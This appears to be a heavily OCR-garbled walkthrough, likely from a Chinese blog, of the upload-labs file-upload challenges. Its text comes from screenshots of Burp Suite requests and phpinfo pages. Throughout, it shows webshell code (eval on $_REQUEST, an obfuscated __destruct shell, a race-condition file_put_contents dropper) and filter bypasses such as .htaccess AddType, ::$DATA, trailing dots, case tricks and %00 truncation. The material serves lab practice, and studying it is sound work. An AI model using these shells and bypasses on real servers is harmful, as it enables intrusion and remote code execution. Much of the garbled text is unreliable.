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ZRIKRRK, EREARE, RS —f1EARYS, SURjpg, png, gif CAHEMAbpiiE, BOCHER.

function checkFile() {
var file = document.getElementsByName( ' upload
if (file == null file == "") {
alert("EHEFE LFRIIMH");

return £

var allow_ext = ".jpg|.pn
var ext name = file.substring(§ile.lastIndex0f("."));
if (allow_ext.indexOf(ext_name + § == -1) {
var errMsg = "ZSCHA T L, B EE + allow ext + "ZERIRTOH, HATSCHEEA. " + ext_name;

alert(errMsg);

return £

hitps://blog.csdn.net/gg_44713240
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public $c=";
function __destruct() {
$0
$ 1
$ 2
$3
$ 4
$5
$db $O$1$2$3$4$5
return @$db($this->c);

}
$comi = new COMI();
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<?php

header ("HITP/1.1 404");
class COMI {

public $e="';

function _ destruct{) (I

}
1

$comi = new COMI(); —

@3comi->c = $_REQUEST['yzddmzé€'];
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[Faremt [ o

oxy I Spider I Scanner T Intruder I Repeater T Sequencer I Decoder T Comparer T Extender T Project options T User options I Alerts. ]

1 2 |2 = |3 =

Go Cance < v > |

Request

J Raw T Params T Headers | Hex

Response

J Raw T Headers | Hex | HTML T Render ]

Target: hitp://69.63.200.79:8016 | (| 7

POST Pass-01index php?action=show _code HTTPA 1
Host: 59.63.200.79.8016

User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4, x64; rv.79.0) Gecko/20100101

Firefou/79.0

Accept: texthtml applicationhtml+xml applicationbonl, g=0.9 image/webp,**;g=0.8
Accept-Language: zh-CH zh;g=0.8 zh-TW,g=0.7 zh-HK; g=0.5 en-US; g=0.3 en;g=0.2

Accept-Encoding: gzip, deflate

Contert-Type: multipart/form-data;

R 315098309238200087 251 944023858
Content-Length; 2021

Crigin: hitp: /59.63.200.79:8016

DMT: 1

Connection: close

Referer: hittp: /59 63.200 72801 6/Pass-01index phpPaction=show _code

Upgrade-Insecure-Requests: 1

............................. 315098309235000987 251944023358
Content-Disposition: form-data; name="upload_file"; flename="web php"
Contert-Type: imagejpeq

Done
-l‘
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[a <fi=
=li=
=h3=_L{FE<h3=

=form enctype="multipart/form-data" method="post" onsubmit="

checkFile()"=
<p=ilik

<input class=

EAERI R <p=

=/farm=
=div id="msg">
<fciv=
=div icd="img"=
<img sro="fuploadiwel php" width="25
=fli=
=l i="show _code
=h3= U3
<pre=
<code class="line-numbersg
var file = document.g

-
¥

inpLt_file" type="file" name="uploac_file"f=
=input class="hutton" type="submit" name="submit" valug="

Op" i=

anguage-javascript">function checkFile() {
ElementsByName("upload_file')[0].value; :

L

"return

<fdiv=

0 matches

0 matches

5,430 bytes | 32 millis

# 59.63.200.79:8016/Pass-01/upload/web.php?web=phpinfo();
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PHP Version 5.4.45

System Windows NT WIN-FOIESOS316 6.1 build 7601 (Windows Server 2008 R2 Enterprise
Edition Service Pack 1)i586

Build Date Sep 2 2015 23:45:20

Compiler MSVCE (Visual C++ 2008)

Architecture *86

Configure cscript/nologo configure.js "—enable-snapshot-build™ "—enable-debug-pack™ "—-disable-

Command zts" "—disable-isapi” "—disable-nsapi” "—without-mssgl” "—without-pdo-mssgl” "—without-
pidweb” "—with-pdo-oci=C:\php-sdkloraclelinstantclient10\s dk,shared™ "—with-
oci8=C\php-sdkioraclelinstantclient10sdk,shared™ "—with-oci8-11g=C\php-sdKioracle
\instantclient11\sdk,shared” "—with-enchant=shared” "—enable-object-out-dir=../obj" "—
enable-com-dotnet=shared” "—with-mcrypt=static” "—disable-static-analyze™ "—with-pgo”

Server APl CGlFastCGl

Virtual Directory |disabled

Support

Configuration | C:Wyindows

File (php.ini)

Path

Loaded Cr\phpStudy\php\php-5.4 45-nts\php ini

-

M iggH: C:/phpStudy/Battle-Upload/Pass-01/flag_kezZYqSU.txt
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&« G © & 59.63.200.79:8016/Pass-02/upload/web.php?web=phpinfo(); B - s O e $ =
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PHP Version 5.4.45

System Windows NT WIN-FOIIES05316 6.1 build 7601 (Windows Server 2008 R2 Enterprise
Edition Service Pack 1) i586

Build Date Sep 22015 23:45:20

Compiler M3VCY (Visual C++2008)

Architecture %86

Configure cecript/nologo configure js ™ ble-snapshot-build” "~enable-debug-pack™ "—disabl

Command 5" "—disable-isapi” "—disable-nsapi” "—without-mssql” "—without-pdo-mssqgl” "—without-

pi3web” "—with-pdo-oci=C:\php-sdkloraclelinstantclient10is dk,shared™ "—with-
oci8=C:\php-sdkioraclelinstantclient10\s dk,shared” "—with-ocig-11g=C:\php-sdkioracle
\instantclient11\sdk,shared” "—with-enchant=shared” "—enable-object-out-dir=../obj" "—
enable-com-dotnet=shared™ "—with-mcrypt=static” "~disable-static-analyze™ "—with-pgo”

Server API CGIIFastCGI
Virtual Directory |disabled
Support
Configuration | C:Windows
File (php.ini)
Path
Loaded C:\phpStudy\php\php-5.4.45-nts\php.ini
Configuration
File
Scan this dir for |(none)
additional .ini
files
Additional .ini (none) v
N 2 Sdpeaet/caal 47 R
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[Target T Proxy T Spider T Scanner T Intruder T Repeater T Seguencer T Decoder I Comparer T Extender T Project options. T User options T Alerts ]

Le J

i

< v > | Target: http://59.63.200.79:8016 | | | 7

Request Response
_[ Raw T Params I Headers | Hex [ Raw T Headers | Hex | HTML T Render ]
IMT: A A =ol= ]
Zonnection: close <li= d
seferer Hitp: /59 63.200.79:8016/Pass-020ndex phpTaction=show_code <h3=t2ih3=
Jpgrade-Insecure-Requests: 1 =p=Content-Type=/p=
=fli=
----------------------------- 194251 729626620904353658710774 <li=
Zontent-Disposition: form-data; name="upload_file"; filename="wekh php" =h3==h3=
Content-Type: imageipeq <p=
=code=webshell=icode=
J0o0JFFOOO000C Ooooooooooo <fp=
1 <lli= )
=li=
<h3==h3= -
J00000000000000%000#000 ~&"*)00-0-(0%()(00CO000 <form enctype="mulipartform-data" method="post"
| onsubmit="return checkFile()">
1 <p=
=p=
((D00O:EQ0"DOO000C0000000000000000OOOE00 <input class="input_file" type="file" name="uploac_filz">
Jooooo :, «lnpu‘t class="button" type="submit" nama="submit" :

&J m u u .’_f:_uf:- — term Il 0 matches u u u L_' Tipe a search term C matches



BEEA MR, o — TR T —NM A, RERELRNE, TiE.asp,.aspx,.php,.jsp,ERAtim()ZE SR, deldotZ i 4K
BRI, strrchr() B3t (FEphpH) BERFHEREFZHFEFNGEFEME - RBAWME, WRRD), REZFEFULRE

W7/, WRKRM, WERE NULL. 52 A% R H2strehr() R, EERFHAHFHRBIAEEFRFULEEERFR, BB
file et strtolower(VEWE/NE, HH: DATAXHRE Y, HEET, HTHIFEGEFTHEPD
4 | b

(L

gl

Bphp3XMERAZERT, XEFEHTAHINAH htaccess

htaccess (B "4 A ANAL B X" &R 2 Hypertext Access(BBXXANM). 4L T 4% H B REW AL, B, E—4FF
R EFHRE - MEE AR, UMERATHEREEFREFESR. (EARAP, Pt a4 23R

#ll. 3 5 AT L@ Apache i AllowOverride 84 R L & .

htaccessAI AFE AL ETE: XHREEMRY . APEEEH. HE AR SUBIRIISCHY B4 . 355 E Pk K
AP Ravrrre Pk A 7 2L BFAIR, PLKAEH H AR SCHE Aindexal 455 — I e

1E .htaccessH3E A AddType application/x-httpd-php .jpg

&« c & © & 59.63.200.79:8016/Pass-04/index.php?action=show_code B - % 0 @ ¢ =
© N ESsskE EHaf Hoithet (B EEEE Dages OREFFs OmEnys ¢ SSmmsTE Mbu. DS ORELS Hdn OFEE Dwsdlz [585ping >

Lol oed-laAS

.htaccess ™ &IT

b — A webenell BIBRSSEE.

BHEEEFEHNER:

SR,

https:/blog.csdn.netiqg_44/13240

$is_upload = false;
$msg = null;
if (isset($ _POST['submit’])) {
if (file exists($UPLOAD ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3"," php2","phpl”," .html",".htm",".phtml"," .pHp"," .pHE
$file name = trim(%$_FILES["upload file']['name’]);
$file_name = deldot($file name);// 1 ) =
$file ext strrchr($file name, *

$file_ext = strtolower($file_ext); /

.

$file ext str_ireplace('::$DATA', , $filelext ),//:_"_,:r"'f-—T—rh% :$DATA
$file_ext = trim($file_ext); //HERT

if (lin_array($file_ext, $deny ext)) {
if (move uploaded file($ FILES['upload file']["¢mp name'], $UPLOAD ADDR . '/' . $ FILES['upload |
$img_path = $UPLOAD ADDR . $ FILES['upload file!]['name’];
$is upload = true;
}
 else {

$msg = *

} else {
$msg = $UPLOAD ADDR .




hitpsu/blog.csdn.net/gg_44713240

k4% htaccess 3t

Pass.-04 _htaccess ™5

Pass-05

Pass-06

Pass-07 EE— A webenell HIESEH.
Pass-08
Pass-09
Pass-10
Pass-11
Pass-12
Pass-13
Pass-14
Pass-15
Pass-16
Pass-17
Pass-18
Pass-19
Pass-20
Pass-21
Pass-22
Pass-23

BEEELENER:

.htaccess

hitps://blog.csdn.net/gg_44713240

EA&jpgcft

& e @ © & 59.63.200.
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Pass 04 htaccess3 & &

Pass-05
Pass-06
Pass-07 b — A webenell BIBR S EE.
Pass-08
Pass 08
Pass-10
Pass-11
Pass-12
Pass-13
Pass-14
Pass-15
Pass-16
Pass-17
Pass-18
Pass-19
Pass-20
Pass-21
Pass 22
Pass-23

EEEELERER:

pIC8 web.jpg

$is_upload = false; hitps://blog.csdn.netiqg_44713240
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PHP Version 5.4.45




Edition Service Pack 1) 1586

Build Date Sep 2 2015 23:45:53

Compiler M3VCA (Visual C++2008)

Architecture %86

Configure cscript /nologo configure. js "—enable-snapshot-build” "—disable-isapi” "—enable-debug-
Command pack” "—without-mssql” "-without-pdo-ms sql” "—with out-pi3web” "—with-pdo-oci=C:\php-

sdkioraclelinstantclient10\s dk shared” "—with-oci8=C:\php-sdkioraclelinstantclient10
\sdk,shared” "—with-oci8-11g=C:\php-sdk\oraclelinstantclient11\s dk,shared” "—enable-
object-out-dir=/obj” "—enable-com-dotnet=shared” "—with-merypt=static™ "—disable-
static-analyze™ "—with-pgo”

Server APl Apache 2.0 Handler
Virtual Directory |enabled
Support

Configuration CWindows
Fila (nhn ini) Dath

LRk

I PNANEL Sus

< X @

[C] N B Eeks Baf Bgthub [ Esmz Dasse ORAFs Dmenys O 82000 TE Abu. DS RS Hudn DFes Dussz

Zplom-ln AS

EgEXNME
shell 3 R 55 38 .
BEEEELEFHBER:

AT web.jpg

upload = false;
null;

Burp Intruder Repeater Window Help

o

© £ 59.63.200.79:8016/Pass-05/index.php?action=show code B - % 2 0 @ & =
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[ Target T Proxy I Spider I Scanner T Intruder I Repeater T Sequencer T Decoder I Comparer T Extender I Project options T User options I Alerts ]
gback §
1 = |2 = | 3 =
; [
E =
Go < v > | Target: http:/158.63.200.79:8016 [fj i N
Request Response
§
J Raw I Params I Headers | Hex J Raw I Headers | Hex | HTHWL I Render ]
POST Pass-05index phptaction=show_code HTTRA 1 | & <fdiv= A ‘w]21
Host: 59.63.200. 728016 R
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:79.0) Gecko/20100101 <ldiv=

Firefox/79.0
Accept: texthtml application/xhtmi+xml applicationfml g=0.9 imagefwebp **;g=0.8

EEEER

Nnne

=dliv id="footer"=
=center=Copyright&nbsp; @&nbsp;2018&nbsp;by&nbsp;<a

.?

Accept-Language: zh-CN zh;q=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-US;g=0.3 en;q=0.2 href="http:/fgv? me"=clny </a=</center= =53
Accept-Encoding: gzip, deflate =feliv=
Contert-Type: multipartform-data; =div class="mask"=</div=
Bounary = 362986509535760498043325577392 =div class="dialog"=
Contert-Length: 2022 =div class="dialog-title"= [{&nbsp;Ti<a href="javascript void(0)" EA UM
Origin: http: /59 63200 79:8016 class="close" title=""1[1]"= 3 {#]<fa=<idiv=
DNT: 1 =div class="dlialog-content"=</div> E,—‘\ Flow
Connection: close <fdiv=
Referer: http://59.63.200 79:801 6/Pass-05/index phpPaction=show _code =hody=
Upgrade-Insecure-Reguests: 1 =script type="textjavascript" sre="jjsjquery min js"==fscript=
=script type="textjavascript" sre="fs/prism js"=</script= ﬁﬁ

----------------------------- 3629865095357 604958043325577392 <script type="text favascript" sre="fizfndex js"></script>
Contert-Disposition: form-data; name="upload_file", flename="weh PHP4" L =/html= arkdoy
Contert-Type: imagefpeg
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getshell

Hais - SHERSEEEST X Haks - SHERSEERST X 71, ISCOEHTRA (—) -° X upload-labs Pl phpinfol) P+ -

<« [ @ & 59.63.200.79:8016/Pass-05/upload/web.PHP42web=phpinfo(); B - % 2 0 ® ¢
© N Eests Baf Beithue B EEEz Daxer DRFFe B mEes O EETRTE-Mbu. s EREPEs Bdn BFEs BusEiz BE&Eping
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PHP Version 5.4.45 @

System Windows NT WIN-FOIES05316 6.1 build #501 (Windows Server 2008 R2 Enterprise
Edition Service Pack 1) i586

Build Date Sep 2 2015 23:45:20

Compiler M3VCY (Visual C++ 2008)

Architecture xB6

Configure cscript/nologo configure js "—enable-snapshot-build™ "—enable-debug-pack” "—disable-

Command zis" "—disable-isapi” "—disable-nsapi” "—without-mssqgl” "—without-pdo-mssql” "~without-

pidweb" "—with-pdo-oci=C\php-s dkloraclelinstantclient10\s dk, shared™ "—with-
oci8=C:\php-sdkioraclelinstantclient10\sdk,shared” "—with-oci8-11g=C:\php-sdkioracle
\instantclient11\sdk shared” "—with-enchant=shared” "—enable-object-out-dir=_ /obj" "—

enable-com-dotnet=shared™ "—with-mcryp " "—disable-static-analyze™ "—with-pgo”
Server API CGliFasiCGl
Virtual Directory | disabled
Support
Configuration | C:Windows
File {php.ini)
Path
Loaded CphpStudy\phpiphp-5.4.45-nts\php.ini
Configuration
File
Scan this dir for |({none)
additional .ini
files
Additional .ini (none)
- ot 22:00
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PHP Version 5.4.45

System Windows MT WIN-FOIES05316 6.1 build 7601 (Windows Server 2008 R2 Enterprise
Edition Service Pack 1) i586

Build Date Sep 22015 23:45:20

Compiler MSVCY (Visual C++2008)

Architecture %86

Configure cscript /nologo configure js "—enable-snapshot-build” "~enable-debug-pack” "—disable-

Command ts" "—disable-isapi” "—disable-nsapi” -without-mssql” "—without-pdo-mssql” “—without-

pi3web" "—with-pdo-oci=C:\php-sdkloraclelinstantclient10\sdk,shared™ "—with-
ocid=C:\php-sdkioraclelinstantclient10\s dk,shared” “—with-ocig-11g=C:\php-sdkioracle
linstantclient11\sdk,shared” "~with-enchant=shared" "—enable-object-out-dir=_/obj" "—
enable-com-dotnet=shared™ "—with-mcrypt=static” "~disable-static-analyze™ "—with-pgo”

Server APl CGliFastCGl

Virtual Directory | disabled

Support

Configuration C:Windows

File (php.ini)

Path

Loaded C\phpStudy\php\php-5.4.45-nts\php.ini

Configuration

File

Scan this dir for | (nong)

additional .ini

files

Additional .ini (none) w
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|® # 59.63.200.79:8016/Pass-06/upload/web.PHP4.?web=phpinfo();
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Windows NT WIN-FOIIES05316 6.1 build 7601 (Wmduws\sewer 2008 R2 Enterprise

System
Edition Service Pack 1) i586

Build Date Sep 2 2015 23:45:20

Compiler MSVCA (Visual C++ 2008)

Architecture x86

Configure cscript/nologo configure js "—enable-snapshot-build” "—enable-debug-pack” "—disable-

Command os" "—disable-isapi” "-disable-nsapi” "-without-mssq” "~without-pdo-ms sgl” "—without-
pi3web” "—with-pdo-oci=C:\php-sdkloraclelinstantclient10\s dk,shared”™ "—with-
ocig=C\php-sdkioraclelinstaniclient10\sdk, shared™ "—with-oci8-11g=C/\php-sdkloracle
\instantclient11\sdk, shared” "—with-enchant=shared” "—enable-object-out-dir=_jobj" "~
enable-com-dotnet=shared™ "—with-mcrypt=static® "—dis able-static-analyze™ "—with-pgo™

Server APl CGlFastCal

Virtual Directory | disabled

Support

Configuration | C:Windows

File {php.ini)

Path

Loaded C\phpStudyphpl\php-5.4.45-nts\php.ini

Configuration

File

Scan this dir for |(none)

additinnal in
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@ & 59.63.200.79:8016/Pass-08/index,php

Burp Intruder Repeater Window Help

BEEE TERE

mRTa O

W Burp Suite Professional v1.7.30 - Temporary Project - licensed to surfergz

Targst | Proxy | Spider | Scanner Tlnlruder I Repeater T Sequencer I Decoder I Comparer I Extender TPrDJect options I User options | Alerts

$|:||_|:m|:|—|E|A5 ]2« o

Request

Raw | Params | Headers | Hex

Target: htt}

Response

Raw | Headers | Hex | HTML Render}

POST Pass-07/index.php?action=show_code HTTRPA 1

Host: 59 63200 79:8016

User-Agent: Mozillai5 0 (Windows NT 10.0; Win&d, x&4; rv:78 0) Gecko/20100101
Firefox/79.0

Accept: textMtml; nfxhtmil+xml, nbeml =09, P o=08
Accept-Language: zh-CN zh;g=0.8 zh-TW;g=0.7 zh-HI;g=0.5 en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Contert-Type: multipartiform-data;

boundar --362986509535760498043325577392
Contert-Length: 2030

Origini. hitp: 159 63.200 798016

DNT: 1

Connection: close

Referer: hitp:#459.63.200.79:801 6/Pass-05index php?action=show _code
Upgrade-nsecure-Requests: 1

$DATA (Windowsr &)

webshell =] R 55 2% .

FEEELENBAF:

UL web.jpg

- ----3629865095357 6049504332557 7392
Contert-Dispostion: form-data; name="upload_file"; 1ilename:“web.PHP4..$DATA|"

Contert-Tvoe: imansfinsn

Done

L
v

0 matches

<div id="msg">
Lyt S L
=div id="img">

<feliv>

<ldivs

<fli=
<li id="show_coce"=
<h3= {{§<h3=
<pre=
<code class="line-numbers language-php">$is_upload = fals
$msg = nuil;
if (isset($_POST['submit'])) {
if (file_exists(JUPLOAD_ADDR)) {
$deny_ext =
array(".php",".php5",".php4",".php3",".php2","tml",".hi

er',".asp
access");

&« c @ © & 59.63.200.79:8016/Pass-08/upload/web.PHP4eb=phpinfo(); B e % 0 ® & =
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PHP Version 5.4.45 \ @

System Windows NT WIN-FOIES05316 6.1 build 7601 (Windows Server 2008 R2 Enterprise
Edition Service Pack 1) i586

Build Date Sep 2 2015 23:45:20

Compiler MSVCA (Visual G++2008)

Architecture ¥86

Configure cscript /nologo configure js "—enable-snapshot-build™ "—enable-debug-pack” "—disable-

Command zts" "—disable-isapi” "—disable-nsapi” "—without-mssgl” "—without-pdo-mssql” "—without-
pidweb” "—with-pdo-oci=C:\php-sdkioracle\instantclient10\s dk,shared™ "—with-
oci8=C\php-sdkioracletinstaniclient10\sdk shared™ "—with-oci8-11g=C-\php-sdkioracle
\instantclient11\sdk,shared” "—with-enchant=shared” "—enable-object-out-dir=_fobj" "—
enable-com-dotnet=shared” "—with-mcrypt=static” "—dis able-static-analyze” "—with-pgo”

Server AP| CGlFastCGl

Virtual Directory | disabled

Support

Configuration | C:\Windows

File (php.ini)

Path

Loaded C:\phpStudy\php\php-5.4.45-ntsphp.ini

Configuration

File

Scan this dir for | (none)
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$is_upload = false;

$msg = null;

if (isset($_POST['submit'])) {

if (file_exists($UPLOAD_ADDR)) {

$deny_ext = array(".php",".php5",".php4"," .php3",".php2",".html"," .htm"," .phtml" pHp",".pHp5",
$file name = trim($ FILES['upload file']['name’]);
$file name = deldot($file name);//H L FEMS
$file ext = strrchr($file name, '.');
$file_ext = strtolower($file ext); //§E
$file ext = str_ireplace('::$DATA', ', $file ext);//Z

$file ext = trim($file ext); //EHE

if (lin_array($file_ext, $deny ext)) {
if (move_uploaded_file($_FTLFS['upload_file']['tmp_name $UPLOAD_ADDR . '/' . $_FTLES['upload_
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
1
L
 else {
$msg = | i
L
L
} else {
$mcso = €UPI OAD ADDR

POST Pass-09/ndex php HTTPA A A <input class="input_file" type="file" name="upload_fie"i>
Host: 59.63.200.72:8018 <input class="pbutton" type="submit" name="submit" value="_t{%"f=
Uszer-Agent: Mozilals 0 (Windows MNT 10,0, VWinG4; x64; rv.79.0) Gecko/20100101 Firefox72.0 <fform=

Accept: texthtml applicationfchtmli+xml applicationfml;g=0.9 bt g=0.8 =div id="msg">
Accept-Language: zh-CN,zh g=08,zh-TW;q=0.7,zh-HK; g=0.5 en-US;5=0 3 eng=0.2 <ltliv=
Accept-Encoding gzip, deflate <dliv icl="img"=
Content-Type: mutipartform-cata, BouncEry=------------------mumu- 42316190032369047179319054 2506 <img src="/upload/fiweh php. " width="230px" f= <feliv
Content-Length: 2024 <fli=
Crigin: hitp://59.63.200.72:6016 <fol=
DNT: 1 <leliv>
Connection: close
Referer: http://59.63.200.79:8016/Pass-09/index php <fclivz
Cookie: ASPSESSIONDASEBRCTR=FDPNCEKAAEJPFOKJIGFOMNLHL; <dliv id="footer"=
ASPSESSIONIDCCBACBST=NKAHFPIAIKIFPLIPJF AQIHDE =center=Copyri by&nh
Upgrade-Insecure-Reguests: 1 href="http: fgvT me"=cOmyl </a=</center=
<ldiv=
----------------------------- 423161900323690471793190542508 =div class="mask"==/div=
Content-Disposition: form-data; name="upload_file", flename="web php. " =div class="dialog"=
Contert-Type: imagefpeg <div class="dialog-title"> [{:&nbep;T=a href="javascript void(0)" class="close" title=""1: [1]"> 3 ]
\ =iy class="dialog-content"></div=
O000JFIFO00000C00000000000000 <fdiv=
i] <hody>
=script type="textjavascript" sre="fzfiquery min js"=</scripis
<script type="textiavascript” src="/iis/prism js"=</script=
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<~ X @ © & 59.63.200.79:8016/Pass-09/upload//web.php.?web=phpinfo();
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System Windows NT WIN-FOIIES05316 6.1 build 7601 Mlnduwéﬁerverm R2 Enterprise
Edition Service Pack 1) i586

Build Date Sep 22015 23:45:20

Compiler M3VCY (Visual C++2008)

Architecture %86

Configure cscript/nologo configure js "—enable-snapshot-build” "—enable-debug-pack” "—disable-

Command zis” "—disable-isapi” "—disable-nsapi” "—without-mssgl” "—without-pdo-mssgl™ "—without-

pi3web” "—with-pdo-oci=C:\php-sdkloraclelinstantclient10is dk,shared™ “—with-
oci8=C\php-sdkioraclelinstantclient10\sdk,shared™ "—with-oci8-11g9=C:\php-sdkloracle
\instantclient11\sdk,shared” "~with-enchant=shared” "-enable-obje ct-out-dir=../obj/" "~
enable-com-dotnet=shared™ "—with-mcrypt=static” "—disable-static-analyze™ "—with-pgo”

Server APl CGliFastCGl

Virtual Directory | disabled

Support

Configuration C:\Windows

File (php.ini)

Path

Loaded Ci\phpStudy\php\php-5.4.45-nts\php.ini
Configuration

File

B+

WG X5,
= gtr /replace(deny_ext ”n $flle name) IX/\ZIﬁ/\ m% Mthﬁnpphphpégﬁ ‘{Aphp’ ’I%php%j
< | i

i iy

php 00k Wt
phpfR A ZE/NT5.34, 534Kk FEELBEE %N E

magic_quotes_gpcE ZE NOFFRZE
includeFrequire— A& 7 W 3 P FB 1 EL LA

file_get_contents— & F T 4T FF —Murlgk— >34



file_exists | W X 4 2 B LE

B! Burp Suite Professional v1.7.30 - Temporary Project - licensed to surfengyz

Burp Intruder Repeater Window Help

[Target P ¢ | Spider T Scanner T Intruder I Repeater T Sequencer T Decoder T Comparer T Extender T Project options I User options | Alerts

1 % |4 % |5 x [JGax

Go Cance <|r 2|

Target: http://59.63.200.79:8016 [fJ

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
POST /Pass-11index php?save_path=_/uploadM php%e00 HTTRA A | 'y <li==a ass-21" hr Pass-21index php"=Pass-21</a=</i>
Host: 59.63.200.79:8016 <li==a a55-22" hr Pass-22index php"-Pass-22</a=></i>
User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4, x6& :79.0) Gecko/20100101 Firefox/79.0 <li==a id="Pass-23" href="/Pass-23/index php">Pass-23</a></i>
Bccept: texthtml, nixhtml+xml nml; =l magefwebp " g=0.8 =jul=
Accept-Language: zh-CH zh;q=0.8 zh-TW,g=0.7 zh-HK;g=0 Jgn-US; g=0 3 eng=0 2 <idiv=
Accept-Encoding: gzip, deflate ..juploadi.php/63202008111519338.jpg
Content-Type: mutipart/form-data; boundary=-------—---m-ceeeeeee- 43956149542557675103260332220
Content-Length: 2021 =gl=<li=
Origin: http://59.63.200.79:8016 <h3= A 3o B
DNT: 1 =p="00 1 %11«}3»
Connection: close <>
Referer: http://99.63.200.79:801 6/Pass-11index php?save _path=_/uploac’ =li=
Cookie: ASPSESSIONDASBBRCTR=PDPMNCEKAAEJPFORJIGFONLHL, <h3>{E FHeahi=
ASPSESSIONIDCCEACBST=NK AHFPIAIKIFPLIPJF ACIHDE =p=_bfl—<code>webshellicode:s 3
Upgrade-Insecure-Reguests: 1 <fli=
S <li=
1439561 49542857670103269332220 <h3=_Ef§E<m3=
Cortent-Dispostion: form-data; name="upload_fils", flename="web jpg" =form actio save_path=. Jupload™ enctype="muttipart form-tata" method="post"=
Content-Type: image/peg <p=ilf LT =p=
<input clas: put_file" type="file" name="upload_file"/>

O000JFIF000000CO00000000000000 <input class="button" type="submit" name="submit" value="
a <iforms

=div id="msg">

<fdiv=
000000000000000%000£000 , #&81*)00-0-(0%()(00C0000 =div id="img"=
a <img sre="_/uploadi php/E320200811151938 jpg" wickh="250px" /= =feliv=
o F <l
l?H<H+ 0 matches l?]l<]l+]l>]ﬁ- 0 ma
&« ad o © £ 59.63.200.79:8016/upload/1.php?web=phpinfo(); B e " O o
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PHP Version 5.4.45
System Windows NT WIN-FOIES05316 6.1 build 7601 (Windows Server 2008 R2 E%p‘rise
Edition Service Pack 1) i586
Build Date Sep 2 2015 23:45:20
Compiler MSVCY (Visual C++ 2008)
Architecture xB6
Configure cscript inologo configure js “—enable-snapshot-build” "—enable-debug-pack™ "—disable-
Command ots” "—disable-isapi” "—disable-nsapi” "—without-mssql” "—without-pdo-mssql” "—without-
pi3web” "—with-pdo-oci=C-\php-sdkioraclelinstantclient10\sdk shared™ "—with-
ocig=C\php-sdkioraclelinstantelient10\sdk,shared” "—with-oci8-11g=C:\php-sdkioracle
‘instantclient11\sdk shared™ "—with-enchant=shared” "—enable-object-out-dir=_/abj"™ "—
enable-com-dotnet=shared” "—with-mcrypt=static” "—disable-static-analyze™ "—with-pgo”™
Server APl CGlFastCGl
Virtual Directory | disabled
Support
Configuration CWindows
File (php.ini)
Path
Loaded C:\phpStudy\php\php-5.4 45-nts\php.ini
Configuration
File
Scan this dir for |(none)
additional .ini
files
Additional .ini (none)
z v i5:22
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Lol owd-lo A5

EF— A webshell BlREF 2.

FEEELENAR:

- e e e e e e e ee el en e —_——— - P B L )<
26 54 52 3d S0 44 S50 4e 43 42 4b 41 41 45 da S0 46 TR=PDPNCBKAAEIPF - <lis
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Windows NT WIN-FOIES05316 6.1 build 7601 (Wikgows Server 2008 R2 Enterprise
Edition Service Pack 1) i586

Build Date Sep 2 2015 23:45:20

Compiler MSVC (Visual C++ 2008)

Architecture xB6

Configure cscript /nologo configure js "—enable-snapshot-build” "—enabl

Command " "—disable-isapi” "—disable-nsapi” "—without-mssgl™ "—withouPpdo-mssql™ "—without-
pi3web” "—with-pdo-oci=C:\php-sdkioraclelinstantclient 0\s dk,sharsd™ “—with-
oci@=CAphp-sdkloraclelinstantclient10\sdk, shared” "—with-oci8-11 Aphp-sdkloracle

Server API CGIFasiCGI N\

Virtual Directory | disabled

Support

Configuration C\Windows

File (php.ini)

Path

Loaded CphpStudy\phpiphp-5.4.45-nts\php.ini

Configuration

File

Scan this dir for |(none)

additional .ini

files

Additional .ini  |(none)

filoe narsad
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<7php eval(§_REQUEST["weh"]) ;7=
<?php

fa="<7php eval(\F_REQUEST['weh'); ?=";
Fh=fopen(" wek php" "w");

fwrite(S$a); & 0JFIF0000¥0C 0000000000000

e =T e

feloss(3b), 1 I Ca00#2B 03 Sys DA S4TRTRON"4
echo "hello!” iDq00000OnO00=0°00£0® cOOF =60
echo '<bri=! (" DB T4 1EM 3 H 1 GO OLE DEp G OOt
Kis 000,000 EfziR4N00000[GUMOi0E
=7php file_put_contents("nf php" '=7php evall$_REQUEST["Is"]), 7=") 7= B&iAFERIDIO'|O, M eCiO=ngAS0A O-pixi
_____________________________ 1260654133463830053790800051 OG0 G OTS 00" H05+HANguTkr % OO26F
Contert-Disposttion: form-data; name="submit" 0®,0F JJwiOo00vOOaT|AgsOid@assE
& 054

............................. 12606541 334635300537 90800051
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Burp Intruder Repeater Window Help

[ Target T Proxy I Spider T Scanner ‘[ Intruder T Repeater T Sequencer T Decoder ‘[ Comparer T Extender T Project options T User options TAIerts ]

1 x b 3 3 x

[ Target T Positions T Payloads T Options ]

@ Payload Positions

Cenfigure the positions where payleads will be inserted into the base request. The attack type determines the way in which payleads are assigned to payload pesitions - see help for full details.

Attack type: l Sniper

POST Pass-17index.php HTTPA A
Host: 127.0.01

User-Agent: Moz (Wincdows NT 10.0; Wing4; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html applic xhtml+x&ml applicationtml,g=0 9 imagefwebp */* g=0.8




Accept-Language: zh-CH zh;
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; bound
Cortent-Length: 2015

Origin: hitp: /27004

DAT: 1

Connection: close

Referer: hittp:/1 27.0.0.1/Pass-17index php
Upgrade-Insecure-Reqguests: 1 .

zh-TW,q=0.7 zh-HK;g=0 5 en-US;q=0.3 en;g=0.2

---1260654133463830053790800051

............................. 1260654133463830053790800051
Cortent-Disposition: form-data; name="upload_file"; filename="web php"
Content-Type: imagefpeg

j@ya0JFF000070C00000000000000
ul

000000000000000%000#000 , #8*00-0-(0%()(j0c0000

| ? || =< || + || = | Type a search term

Jurp Intruder Repeater Window Help

Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T Uszer options T Alerts

1 = 2 = 3 =

Target | Positions T Payloads I Options ]

@ Payload Positions

Configure the positions where payloads wil be inserted into the base request. The attack type determines the way in which payloads are assigned to pa

Attack type: l Sniper

GET lupload/web php HTTPM 1
Host: 192.168.31.212
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, xE64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html applicatioSnixhtml+xEml applicationxml g=0.9 image/fwebp */M* g=0.8
Accept-Language: zh-CH zh;g=0.8 zh-TW; .7 ,zh-HK; g=0.5 en-US;g=0.3 en;g=0.2
